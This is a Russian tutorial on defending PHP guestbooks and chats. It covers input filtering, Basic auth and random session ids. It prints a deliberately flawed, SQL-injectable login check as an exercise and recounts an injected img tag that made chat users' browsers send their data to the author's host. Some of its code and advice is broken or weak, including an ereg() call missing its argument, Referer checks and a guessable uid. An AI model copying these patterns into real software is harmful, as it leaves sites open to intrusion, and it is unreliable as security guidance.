**Приемы безопасного программирования веб-приложений на PHP**

Данная статья не претендует на роль всеобъемлющего руководства на тему "как сделать так, чтоб меня никто не поломал". Так не бывает. Единственная цель этой статьи - показать некоторые используемые мной приемы для защиты веб- приложений типа WWW-чатов, гостевых книг, веб-форумов и других приложений подобного рода. Итак, давайте рассмотрим некоторые приемы программирования на примере некоей гостевой книги, написанной на PHP.

Первой заповедью веб-программиста, желающего написать более-менее защищенное веб-приложение, должно стать "Никогда не верь данным, присылаемым тебе пользователем". Пользователи - это по определению такие злобные хакеры, которые только и ищут момента, как бы напихать в формы ввода всякую дрянь типа PHP, JavaScript, SSI, вызовов своих жутко хакерских скриптов и тому подобных ужасных вещей. Поэтому первое, что необходимо сделать - это жесточайшим образом отфильтровать все данные, присланные пользователем.

Допустим, у нас в гостевой книге существует 3 формы ввода: имя пользователя, его e-mail и само по себе тело сообщения. Прежде всего, ограничим количество данных, передаваемых из форм ввода чем-нибудь вроде:

<input type=text name=username maxlength=20>

На роль настоящей защиты, конечно, это претендовать не может - единственное назначение этого элемента - ограничить пользователя от случайного ввода имени длиннее 20-ти символов. А для того, чтобы у пользователя не возникло искушения скачать документ с формами ввода и подправить параметр maxlength, установим где-нибудь в самом начале скрипта, обрабатывающего данные, проверку переменной окружения web-сервера HTTP-REFERER:

<?

$referer=getenv("HTTP\_REFERER");

if (!ereg("^http://www.myserver.com")) {

echo "hacker? he-he...\n";

exit;

}

?>

Теперь, если данные переданы не из форм документа, находящегося на сервере www.myserver.com, хацкеру будет выдано деморализующее сообщение. На самом деле, и это тоже не может служить 100%-ой гарантией того, что данные ДЕЙСТВИТЕЛЬНО переданы из нашего документа. В конце концов, переменная HTTP\_REFERER формируется браузером, и никто не может помешать хакеру подправить код браузера, или просто зайти телнетом на 80-ый порт и сформировать свой запрос. Так что подобная защита годится только от Ну Совсем Необразованных хакеров. Впрочем, по моим наблюдениям, около 80% процентов злоумышленников на этом этапе останавливаются и дальше не лезут - то ли IQ не позволяет, то ли просто лень. Лично я попросту вынес этот фрагмент кода в отдельный файл, и вызываю его отовсюду, откуда это возможно. Времени на обращение к переменной уходит немного - а береженого Бог бережет.

Следующим этапом станет пресловутая жесткая фильтрация переданных данных. Прежде всего, не будем доверять переменной maxlength в формах ввода и ручками порежем строку:

$username=substr($username,0,20);

Не дадим пользователю использовать пустое поле имени - просто так, чтобы не давать писать анонимные сообщения:

if (empty($username)) {

echo "invalid username";

exit;

}

Запретим пользователю использовать в своем имени любые символы, кроме букв русского и латинского алфавита, знака "\_" (подчерк), пробела и цифр:

if (preg\_match("/[^(\w)|(\x7F-\xFF)|(\s)]/",$username)) {

echo "invalid username";

exit;

}

Я предпочитаю везде, где нужно что-нибудь более сложное, чем проверить наличие паттерна в строке или поменять один паттерн на другой, использовать Перл-совместимые регулярные выражения (Perl-compatible Regular Expressions). То же самое можно делать и используя стандартные PHP-шные ereg() и eregi(). Я не буду приводить здесь эти примеры - это достаточно подробно описано в мануале.

Для поля ввода адреса e-mail добавим в список разрешенных символов знаки "@" и ".", иначе пользователь не сможет корректно ввести адрес. Зато уберем русские буквы и пробел:

if (preg\_match("/[^(\w)|(\@)|(\.)]/",$usermail)) {

echo "invalid mail";

exit;

}

Поле ввода текста мы не будем подвергать таким жестким репрессиям - перебирать все знаки препинания, которые можно использовать, попросту лень, поэтому ограничимся использованием функций nl2br() и htmlspecialchars() - это не даст врагу понатыкать в текст сообщения html-тегов. Некоторые разработчики, наверное, скажут: "а мы все-таки очень хотим, чтобы пользователи \_могли\_ вставлять теги". Если сильно неймется - можно сделать некие тегозаменители, типа "текст, окруженный звездочками, будет высвечен bold'ом.". Но никогда не следует разрешать пользователям использование тегов, подразумевающих подключение внешних ресурсов - от тривиального <img> до супернавороченного <bgsound>.

Как-то раз меня попросили потестировать html-чат. Первым же замеченным мной багом было именно разрешение вставки картинок. Учитывая еще пару особенностей строения чата, через несколько минут у меня был файл, в котором аккуратно были перечислены IP-адреса, имена и пароли всех присутствовавших в этот момент на чате пользователей. Как? Да очень просто - чату был послан тег <img src=http://myserver.com/myscript.pl>, в результате чего браузеры всех пользователей, присутствовавших в тот момент на чате, вызвали скрипт myscript.pl с хоста myserver.com. (там не было людей, сидевших под lynx'ом :-) ). А скрипт, перед тем как выдать location на картинку, свалил мне в лог-файл половину переменных окружения - в частности QUERY\_STRING, REMOTE\_ADDR и других. Для каждого пользователя. С вышеупомянутым результатом.

Посему мое мнение - да, разрешить вставку html-тегов в чатах, форумах и гостевых книгах - это красиво, но игра не стоит свеч - вряд ли пользователи пойдут к Вам на книгу или в чат, зная, что их IP может стать известным первому встречному хакеру. Да и не только IP - возможности javascript'a я перечислять не буду :-)

Для примитивной гостевой книги перечисленных средств хватит, чтобы сделать ее более-менее сложной для взлома. Однако для удобства, книги обычно содержат некоторые возможности для модерирования - как минимум, возможность удаления сообщений. Разрешенную, естественно, узкому (или не очень) кругу лиц. Посмотрим, что можно сделать здесь.

Допустим, вся система модерирования книги также состоит из двух частей - страницы со списком сообщений, где можно отмечать подлежащие удалению сообщения, и непосредственно скрипта, удаляющего сообщения. Назовем их соответственно admin1.php и admin2.php.

Простейший и надежнейший способ аутентикации пользователя - размещение скриптов в директории, защищенной файлом .htaccess. Для преодоления такой защиты нужно уже не приложение ломать, а web-сервер. Что несколько сложнее и уж, во всяком случае, не укладывается в рамки темы этой статьи. Однако не всегда этот способ пригоден к употреблению - иногда бывает надо проводить авторизацию средствами самого приложения.

Первый, самый простой способ - авторизация средствами HTTP - через код 401. При виде такого кода возврата, любой нормальный браузер высветит окошко авторизации и попросит ввести логин и пароль. А в дальнейшем браузер при получении кода 401 будет пытаться подсунуть web-серверу текущие для данного realm'а логин и пароль, и только в случае неудачи потребует повторной авторизации. Пример кода для вывода требования на такую авторизацию есть во всех хрестоматиях и мануалах:

if (!isset($PHP\_AUTH\_USER)) {

Header("WWW-Authenticate: Basic realm=\"My Realm\"");

Header("HTTP/1.0 401 Unauthorized");

exit;

}

Разместим этот кусочек кода в начале скрипта admin1.php. После его выполнения, у нас будут две установленные переменные $PHP\_AUTH\_USER и PHP\_AUTH\_PW, в которых соответственно будут лежать имя и пароль, введенные пользователем. Их можно, к примеру, проверить по SQL-базе:

\*\*\* Внимание!!!\*\*\*

В приведенном ниже фрагменте кода сознательно допущена серьезная ошибка в безопасности. Попытайтесь найти ее самостоятельно.

$sql\_statement="select password from peoples where name='$PHP\_AUTH\_USER'";

$result = mysql($dbname, $sql\_statement);

$rpassword = mysql\_result($result,0,'password');

$sql\_statement = "select password('$PHP\_AUTH\_PW')";

$result = mysql($dbname, $sql\_statement);

$password = mysql\_result($result,0);

if ($password != $rpassword) {

Header("HTTP/1.0 401 Auth Required");

Header("WWW-authenticate: basic realm=\"My Realm\"");

exit;

}

Упомянутая ошибка, между прочим, очень распространена среди начинающих и невнимательных программистов. Когда-то я сам поймался на эту удочку - по счастью, особого вреда это не принесло, не считая оставленных хакером в новостной ленте нескольких нецензурных фраз.

Итак, раскрываю секрет: допустим, хакер вводит заведомо несуществующее имя пользователя и пустой пароль. При этом в результате выборки из базы переменная $rpassword принимает пустое значение. А алгоритм шифрования паролей при помощи функции СУБД MySQL Password(), так же, впрочем, как и стандартный алгоритм Unix, при попытке шифрования пустого пароля возвращает пустое значение. В итоге - $password == $rpassword, условие выполняется и взломщик получает доступ к защищенной части приложения. Лечится это либо запрещением пустых паролей, либо, на мой взгляд, более правильный путь - вставкой следующего фрагмента кода:

if (mysql\_numrows($result) != 1) {

Header("HTTP/1.0 401 Auth Required");

Header("WWW-authenticate: basic realm=\"My Realm\"");

exit;

}

То есть - проверкой наличия одного и только одного пользователя в базе. Ни больше, ни меньше.

Точно такую же проверку на авторизацию стоит встроить и в скрипт admin2.php. По идее, если пользователь хороший человек - то он приходит к admin2.php через admin1.php, а значит, уже является авторизованным и никаких повторных вопросов ему не будет - браузер втихомолку передаст пароль. Если же нет - ну, тогда и поругаться не грех. Скажем, вывести ту же фразу "hacker? he-he...".

К сожалению, не всегда удается воспользоваться алгоритмом авторизации через код 401 и приходится выполнять ее только средствами приложения. В общем случае модель такой авторизации будет следующей:

Пользователь один раз авторизуется при помощи веб-формы и скрипта, который проверяет правильность имени и пароля.

Остальные скрипты защищенной части приложения каким-нибудь образом проверяют факт авторизованности пользователя.

Такая модель называется сессионной - после прохождения авторизации открывается так называемая "сессия", в течение которой пользователь имеет доступ к защищенной части системы. Сессия закрылась - доступ закрывается. На этом принципе, в частности, строится большинство www-чатов: пользователь может получить доступ к чату только после того, как пройдет процедуру входа. Основная сложность данной схемы заключается в том, что все скрипты защищенной части приложения каким-то образом должны знать о том, что пользователь, посылающий данные, успешно авторизовался.

Рассмотрим несколько вариантов, как это можно сделать:

После авторизации все скрипты защищенной части вызываются с неким флажком вида adminmode=1. (Не надо смеяться - я сам такое видел).

Ясно, что любой, кому известен флажок adminmode, может сам сформировать URL и зайти в режиме администрирования. Кроме того - нет возможности отличить одного пользователя от другого.

Скрипт авторизации может каким-нибудь образом передать имя пользователя другим скриптам. Распространено во многих www-чатах - для того, чтобы отличить, где чье сообщение идет, рядом с формой типа text для ввода сообщения, пристраивается форма типа hidden, где указывается имя пользователя. Тоже ненадежно, потому что хакер может скачать документ с формой к себе на диск и поменять значение формы hidden. Некоторую пользу здесь может принести вышеупомянутая проверка HTTP\_REFERER - но, как я уже говорил, никаких гарантий она не дает.

Определение пользователя по IP-адресу. В этом случае, после прохождения авторизации, где-нибудь в локальной базе данных (sql, dbm, да хоть в txt- файле) сохраняется текущий IP пользователя, а все скрипты защищенной части смотрят в переменную REMOTE\_ADDR и проверяют, есть ли такой адрес в базе. Если есть - значит, авторизация была, если нет - "hacker? he- he..." :-)

Это более надежный способ - не пройти авторизацию и получить доступ удастся лишь в том случае, если с того же IP сидит другой пользователь, успешно авторизовавшийся. Однако, учитывая распространенность прокси- серверов и IP-Masquerad'инга - это вполне реально.

Единственным, известным мне простым и достаточно надежным способом верификации личности пользователя является авторизация при помощи random uid. Рассмотрим ее более подробно.

После авторизации пользователя скрипт, проведший авторизацию, генерирует достаточно длинное случайное число:

mt\_srand((double)microtime()\*1000000);

$uid=mt\_rand(1,1000000);

Это число он:

а) заносит в локальный список авторизовавшихся пользователей;

б) Выдает пользователю.

Пользователь при каждом запросе, помимо другой информации (сообщение в чате, или список сообщений в гостевой книге), отправляет серверу свой uid. При этом в документе с формами ввода будет присутствовать, наряду с другими формами, тег вида:

<input type=hidden name=uid value=1234567890>

Форма uid невидима для пользователя, но она передается скрипту защищенной части приложения. Тот сличает переданный ему uid с uid'ом, хранящимся в локальной базе и либо выполняет свою функцию, либо... "hacker? he-he...".

Единственное, что необходимо сделать при такой организации - периодически чистить локальный список uid'ов и/или сделать для пользователя кнопку "выход", при нажатии на которую локальный uid пользователя сотрется из базы на сервере - сессия закрыта.

Некоторые программисты используют в качестве uid не "одноразовое" динамически генерирующееся число, а пароль пользователя. Это допустимо, но это является "дурным тоном", поскольку пароль пользователя обычно не меняется от сессии к сессии, а значит - хакер сможет сам открывать сессии. Та же самая модель может быть использована везде, где требуется идентификация пользователя - в чатах, веб-конференциях, электронных магазинах.

В заключение стоит упомянуть и о такой полезной вещи, как ведение логов. Если в каждую из описанных процедур встроить возможность занесения события в лог- файл с указанием IP-адреса потенциального злоумышленника - то в случае реальной атаки вычислить хакера будет гораздо проще, поскольку хакеры обычно пробуют последовательно усложняющиеся атаки. Для определения IP-адреса желательно использовать не только стандартную переменную REMOTE\_ADDR, но и менее известную HTTP\_X\_FORWARDED\_FOR, которая позволяет определить IP пользователя, находящегося за прокси-сервером. Естественно - если прокси это позволяет.

При ведении лог-файлов, необходимо помнить, что доступ к ним должен быть только у Вас. Лучше всего, если они будут расположены за пределами дерева каталогов, доступного через WWW. Если нет такой возможности - создайте отдельный каталог для лог-файлов и закройте туда доступ при помощи .htaccess (Deny from all).